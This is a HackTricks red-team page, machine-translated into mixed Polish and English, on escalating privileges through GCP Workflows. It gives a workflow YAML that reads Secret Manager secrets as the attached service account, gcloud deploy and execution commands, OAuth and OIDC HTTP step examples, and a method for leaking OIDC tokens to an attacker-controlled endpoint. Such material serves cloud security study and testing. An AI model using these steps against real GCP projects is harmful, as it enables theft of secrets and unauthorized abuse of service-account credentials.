GCP - Workflows Privesc

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Workflows

Podstawowe informacje:

GCP - Workflows Enum

workflows.workflows.create, iam.serviceAccounts.ActAs, workflows.executions.create, (workflows.workflows.get, workflows.operations.get)

O ile wiem, nie jest możliwe uzyskanie shell’a z dostępem do endpointu metadanych zawierającego poświadczenia SA przypisanego do Workflow. Można jednak wykorzystać uprawnienia SA, dodając akcje do wykonania wewnątrz Workflow.

Można znaleźć dokumentację konektorów. Na przykład, to jest the page of the Secretmanager connector. W pasku bocznym można znaleźć kilka innych konektorów.

A tutaj znajdziesz przykład konektora, który wypisuje sekret:

Workflow YAML configuration to access secrets ```yaml main: params: [input] steps: - access_string_secret: call: googleapis.secretmanager.v1.projects.secrets.versions.accessString args: secret_id: secret_name version: 1 project_id: project-id result: str_secret - returnOutput: return: "${str_secret}" ```

Aktualizacja z CLI:

Wdrażanie i uruchamianie workflows z CLI ```bash gcloud workflows deploy \ --service-account=email@SA \ --source=/path/to/config.yaml \ --location us-central1 ``` Jeśli otrzymasz błąd taki jak `ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist`, po prostu **poczekaj chwilę i spróbuj ponownie**.

Jeśli nie masz dostępu do sieci web, można wywołać i zobaczyć wykonanie Workflow za pomocą:

# Run execution with output
gcloud workflows run <workflow-name> --location us-central1

# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1

# List executions
gcloud workflows executions list <workflow-name>

# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>

Caution

Możesz również sprawdzić output poprzednich wykonanych uruchomień, aby poszukać informacji wrażliwych

Zwróć uwagę, że nawet jeśli otrzymasz błąd taki jak PERMISSION_DENIED: Permission 'workflows.operations.get' denied on... z powodu braku tego uprawnienia, workflow został wygenerowany.

Leak OIDC token (and OAuth?)

According to the docs it’s possible to use workflow steps that will send an HTTP request with the OAuth or OIDC token. However, just like in the case of Cloud Scheduler, the HTTP request with the Oauth token must be to the host .googleapis.com.

Caution

Therefore, it’s possible to leak the OIDC token by indicating a HTTP endpoint kontrolowany przez użytkownika, ale aby leakować OAuth token potrzebowałbyś need a bypass dla tej ochrony. Jednak nadal możesz contact any GCP api to perform actions on behalf the SA używając connectors lub HTTP requests z tokenem OAuth.

Oauth

Workflow HTTP request with OAuth token ```yaml - step_A: call: http.post args: url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop auth: type: OAuth2 scopes: OAUTH_SCOPE ```
#### OIDC
Żądanie HTTP Workflow z tokenem OIDC ```yaml - step_A: call: http.get args: url: https://us-central1-project.cloudfunctions.net/functionA query: firstNumber: 4 secondNumber: 6 operation: sum auth: type: OIDC audience: OIDC_AUDIENCE ```
### `workflows.workflows.update` ...

Dzięki temu uprawnieniu, zamiast workflows.workflows.create, można zaktualizować już istniejący workflow i przeprowadzić te same attacks.

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks